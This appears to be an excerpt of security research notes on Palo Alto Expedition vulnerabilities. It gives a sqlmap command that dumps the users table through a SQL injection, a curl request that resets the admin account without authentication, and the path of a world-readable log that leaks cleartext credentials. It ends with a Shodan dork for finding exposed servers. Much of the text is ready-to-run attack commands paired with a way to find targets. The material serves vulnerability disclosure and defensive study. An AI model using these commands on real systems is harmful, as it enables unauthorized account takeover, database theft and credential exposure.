Firing up the SQLMAP tool, and supplying it the endpoint and parameter to inject and table to dump, it successfully dumps the entire users table:
python3 sqlmap.py -u "https://10.0.40.64/bin/configurations/parsers/Checkpoint/CHECKPOINT.php?action=im port&type=test&project=pandbRBAC&signatureid=1" -p signatureid -T users --dump
CVE-2024-5910: Expedition: Missing Authentication Leads to Admin Account Takeover for attackers with network access
curl -k 'https://10.0.40.64/0S/startup/restore/restoreAdmin.php'
CVE-2024-9464: Palo Alto Expedition Authenticated Command Injection Exploit
CVE-2024-9466: Cleartext Credentials in Logs
/home/userSpace/devices/debug.txt
This world-readable file contained the raw request logs of the Expedition server when it exchanged cleartext credentials for API keys in the device integration process. The Expedition server only stores the API keys, and is not supposed to retain the cleartext credentials, but this log file showed all the credentials used in cleartext. This issue was reported and assigned CVE-2024-9466.
Blog: https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/
Shodan dork:
html:"Expedition Project"